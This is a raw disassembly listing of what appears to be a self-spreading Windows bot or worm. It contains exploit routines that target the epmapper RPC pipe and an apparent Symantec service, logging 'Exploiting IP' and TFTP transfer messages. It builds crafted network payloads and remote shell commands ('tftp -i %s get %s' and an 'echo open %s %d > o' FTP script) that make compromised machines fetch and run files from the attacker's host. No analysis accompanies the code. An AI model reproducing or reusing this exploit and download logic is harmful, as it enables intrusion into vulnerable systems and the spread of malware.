mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41D670
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D8F2
test al, al
jz short loc_40DA47
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj
; sub_40D9E8+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D9E8 endp
; =============== S U B R O U T I N E =======================================
sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p
mov eax, offset loc_426AD0
call sub_41D640
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40DA75
mov edi, [ebp+8]
loc_40DA75: ; CODE XREF: sub_40DA4F+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40DA82
xor eax, eax
loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj
push eax
call sub_41D9A5
pop ecx
mov [ebp+8], eax
jmp short loc_40DAB3
; ---------------------------------------------------------------------------
loc_40DA8E: ; DATA XREF: ___:00427F84o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40DA9D
xor eax, eax
loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj
push eax
call sub_41D9A5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40DAAD
retn
; ---------------------------------------------------------------------------
loc_40DAAD: ; DATA XREF: sub_40DA4F+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40DAD1
cmp eax, edi
jbe short loc_40DAC0
mov eax, edi
loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41CD20
add esp, 0Ch
loc_40DAD1: ; CODE XREF: sub_40DA4F+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D977
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40DAF1
mov edi, ebx
loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40DA4F endp
; =============== S U B R O U T I N E =======================================
sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40DB39
mov al, [esi-1]
test al, al
jz short loc_40DB39
cmp al, 0FFh
jz short loc_40DB39
push 1
call sub_40D977
push esi
call sub_41B9C0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D9B3
loc_40DB39: ; CODE XREF: sub_40DB0C+9j
; sub_40DB0C+10j ...
pop edi
pop esi
retn
sub_40DB0C endp
; =============== S U B R O U T I N E =======================================
sub_40DB3C proc near ; DATA XREF: ___:00429008o
test byte_4DC018, 1
jnz short loc_40DB4C
or byte_4DC018, 1
loc_40DB4C: ; CODE XREF: sub_40DB3C+7j
jmp $+5
push offset nullsub_1
call sub_41DA20
pop ecx
retn
sub_40DB3C endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB5E proc near ; CODE XREF: ___:0040DF74p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset off_432940
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43DB88
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
nop
call near ptr 2730000h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_4CE6F4
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_4CBA74
cmp eax, 5
mov ebx, 4C3h
jz short loc_40DC22
cmp eax, ebx
jnz short loc_40DC2C
loc_40DC22: ; CODE XREF: sub_40DB5E+BEj
push edi
push edi
push edi
push esi
call dword_4CBA74
loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j
cmp eax, 5
jz short loc_40DC3A
cmp eax, ebx
jz short loc_40DC3A
push 1
pop eax
jmp short loc_40DC3C
; ---------------------------------------------------------------------------
loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j
; sub_40DB5E+D5j
xor eax, eax
loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_40DB5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC41 proc near ; CODE XREF: ___:0040DFC6p
; ___:0040E0A6p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset off_432940
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43DB88
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
nop
call near ptr 2730000h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
add esp, 10h
loc_40DCD2: ; CODE XREF: sub_40DC41+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_4CB90C
test eax, eax
jz short loc_40DCF2
push 7D0h
nop
call near ptr 26C04BFh
jmp short loc_40DCD2
; ---------------------------------------------------------------------------
loc_40DCF2: ; CODE XREF: sub_40DC41+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_40DC41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCF9 proc near ; CODE XREF: ___:0040DFF5p
; ___:0040E133p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_41C500
push esi
push edi
push offset byte_429108
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_40B22B
mov edi, eax
add esp, 10h
test edi, edi
jz loc_40DF48
push ebx
mov ebx, offset off_43285C
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_41CD20
add esp, 24h
lea esi, [edi+0D7h]
loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40DDCE
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_41CD20
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_40DD7E
; ---------------------------------------------------------------------------
loc_40DDCE: ; CODE XREF: sub_40DCF9+90j
cmp [ebp+arg_C4], 0
jz short loc_40DDE9
cmp [ebp+arg_C0], 3
jz short loc_40DDF2
cmp [ebp+arg_C0], 0
jmp short loc_40DDF0
; ---------------------------------------------------------------------------
loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj
cmp [ebp+arg_C0], 3
loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj
jnz short loc_40DDFB
loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j
push 4
push offset dword_43293C
jmp short loc_40DE02
; ---------------------------------------------------------------------------
loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j
push 4
push offset dword_432938
loc_40DE02: ; CODE XREF: sub_40DCF9+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_432470
push eax
call sub_41CD20
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4327D4
push eax
call sub_41CD20
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_41CD20
lea edi, [esi+370h]
push 3Ch
push offset off_4327E8
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
add edi, 3Ch
push 30h
push offset dword_432828
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_41BEB5
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_41BF70
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_41CD20
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej
pop edi
pop esi
leave
retn
sub_40DCF9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1338h
call sub_41C500
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40E0BA
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40DB5E
pop ecx
test eax, eax
pop ecx
jz loc_40E1CA
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-338h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp-338h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
nop
call near ptr 2740762h
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DFD1
loc_40DFC2: ; CODE XREF: ___:0040E072j
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
pop ecx
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40DFD1: ; CODE XREF: ___:0040DFC0j
lea eax, [ebp+0Ch]
push 2
push eax
call sub_4182CD
pop ecx
lea esi, [ebp+8]
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40E069
mov edi, 186A0h
push edi
call sub_41BEB5
mov esi, eax
push edi
push ebx
push esi
call sub_41BF70
add esp, 10h
lea eax, [ebp-0Ch]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_432424
push dword ptr [ebp-4]
nop
call near ptr 2740000h
cmp byte ptr [esi+2], 0Ch
jnz short loc_40E059
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call near ptr 273186Ah
nop
test eax, eax
jnz short loc_40E077
loc_40E059: ; CODE XREF: ___:0040E03Fj
push esi
call sub_41BA91
push dword ptr [ebp-8]
call sub_41BA91
pop ecx
pop ecx
loc_40E069: ; CODE XREF: ___:0040E005j
push dword ptr [ebp-4]
call near ptr 26A0000h
nop
jmp loc_40DFC2
; ---------------------------------------------------------------------------
loc_40E077: ; CODE XREF: ___:0040E057j
lea eax, [ebp-0Ch]
push ebx
push eax
push edi
push esi
push dword ptr [ebp-4]
call near ptr 27310DDh
nop
push dword ptr [ebp-8]
mov edi, eax
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
push dword ptr [ebp-4]
nop
call near ptr 26A0000h
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
cmp edi, 1
pop ecx
jnz loc_40E1DE
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40E0BA: ; CODE XREF: ___:0040DF66j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_4182CD
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40E1CA
xor ebx, ebx
push ebx
push 1
push 2
call dword_4CBA54
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40E1CA
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-24h], 2
push dword ptr [ebp+0A8h]
call dword_4CB9D4
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14
mov [ebp-20h], eax
push ebx
lea eax, [ebp-0Ch]
push esi
push eax
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40E14C
push dword ptr [ebp-4]
jmp short loc_40E1C4
; ---------------------------------------------------------------------------
loc_40E14C: ; CODE XREF: ___:0040E145j
mov edi, [ebp-4]
lea eax, [ebp-24h]
push 10h
push eax
push edi
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jnz short loc_40E164
loc_40E161: ; CODE XREF: ___:0040E176j
push esi
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E164: ; CODE XREF: ___:0040E15Fj
push ebx
push 48h
push offset dword_432424
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E161
mov esi, 1000h
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_40E1A5
push dword ptr [ebp-8]
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E1A5: ; CODE XREF: ___:0040E19Ej
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC
push dword ptr [ebp-8]
cmp eax, 0FFFFFFFFh
jnz short loc_40E1D1
loc_40E1BD: ; CODE XREF: ___:0040E162j
; ___:0040E1A3j
call sub_41BA91
pop ecx
push edi
loc_40E1C4: ; CODE XREF: ___:0040E14Aj
call dword_4CBA6C
loc_40E1CA: ; CODE XREF: ___:0040DF7Dj
; ___:0040DFCCj ...
xor eax, eax
jmp loc_40E28D
; ---------------------------------------------------------------------------
loc_40E1D1: ; CODE XREF: ___:0040E1BBj
call sub_41BA91
pop ecx
push edi
call dword_4CBA6C
loc_40E1DE: ; CODE XREF: ___:0040E0AFj
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-234h]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_41C266
add esp, 0Ch
xor esi, esi
loc_40E1F8: ; CODE XREF: ___:0040E218j
lea eax, [ebp-234h]
push eax
call sub_415E19
test eax, eax
pop ecx
jnz short loc_40E21C
push 1388h
call near ptr 26C04BFh
nop
inc esi
cmp esi, 6
jl short loc_40E1F8
jmp short loc_40E28A
; ---------------------------------------------------------------------------
loc_40E21C: ; CODE XREF: ___:0040E207j
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
lea eax, [ebp-234h]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call sub_41C266
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_40E268
push ebx
lea eax, [ebp-234h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
add esp, 14h
loc_40E268: ; CODE XREF: ___:0040E249j
lea eax, [ebp-234h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E28A: ; CODE XREF: ___:0040E21Aj
push 1
pop eax
loc_40E28D: ; CODE XREF: ___:0040E1CCj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4CBA14
mov [ebp+var_C], eax
mov ax, word_433290
push eax
call dword_4CB9D4
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E3CA
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_40E3CA
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC
mov edi, offset byte_429108
push edi
push edi
push [ebp+arg_0]
call sub_40AA06
pop ecx
mov esi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 18h
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E3CA
push 1F4h
nop
call near ptr 26C04BFh
push edi
push offset dword_42A2E8
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_40E3CE
loc_40E3CA: ; CODE XREF: sub_40E292+51j
; sub_40E292+67j ...
xor al, al
jmp short loc_40E3EC
; ---------------------------------------------------------------------------
loc_40E3CE: ; CODE XREF: sub_40E292+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC
push ebx
call dword_4CBA6C
mov al, 1
loc_40E3EC: ; CODE XREF: sub_40E292+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_40E292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3F1 proc near ; CODE XREF: ___:0040E946p
; ___:0040E968p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_41C500
mov eax, dword_43341C
push ebx
mov [ebp+var_10], eax
mov eax, dword_433420
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_433410
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40E430: ; CODE XREF: sub_40E3F1+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40E430
push 60h
lea eax, [ebp+var_B4]
push offset dword_432EA0
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_41CD20
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_41B9C0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_41CD20
mov ax, word_433290
add esp, 2Ch
push eax
call dword_4CB9D4
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_432BA0
call sub_41CD20
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40E5ED
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_41BF70
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_4332D0[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_41CD20
mov esi, offset loc_432AF0
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11AC]
push offset loc_433408
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_41CD20
add esp, 40h
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_41CD20
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_40E5A6
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_41BF70
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_41BF70
add esp, 18h
jmp short loc_40E644
; ---------------------------------------------------------------------------
loc_40E5ED: ; CODE XREF: sub_40E3F1+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_41BF70
mov esi, offset loc_432AF0
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_41CD20
lea eax, [ebp+var_10]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_41CD20
mov eax, dword_4332D0
add esp, 2Ch
mov [ebp+var_768], eax
loc_40E644: ; CODE XREF: sub_40E3F1+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_41BF70
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_40E683
loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j
; sub_40E3F1+2E0j ...
xor al, al
jmp loc_40E82B
; ---------------------------------------------------------------------------
loc_40E683: ; CODE XREF: sub_40E3F1+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push 68h
push offset dword_432F04
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push 0A0h
push offset dword_432F70
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
cmp [ebp+arg_C0], ebx
jz loc_40E799
push 68h
lea eax, [ebp+var_89B4]
push offset dword_433128
push eax
call sub_41CD20
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_41CD20
push 70h
lea eax, [ebp+var_68DC]
push offset dword_433194
push eax
call sub_41CD20
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_41CD20
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_433208
push eax
call sub_41CD20
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40E7EF
; ---------------------------------------------------------------------------
loc_40E799: ; CODE XREF: sub_40E3F1+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_433014
push eax
call sub_41CD20
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_41CD20
push 90h
lea eax, [ebp+var_245C]
push offset off_433094
push eax
call sub_41CD20
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j
push eax
push edi
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push 12Ch
nop
call near ptr 26C04BFh
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E292
add esp, 0BCh
test al, al
setnz al
loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40E3F1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
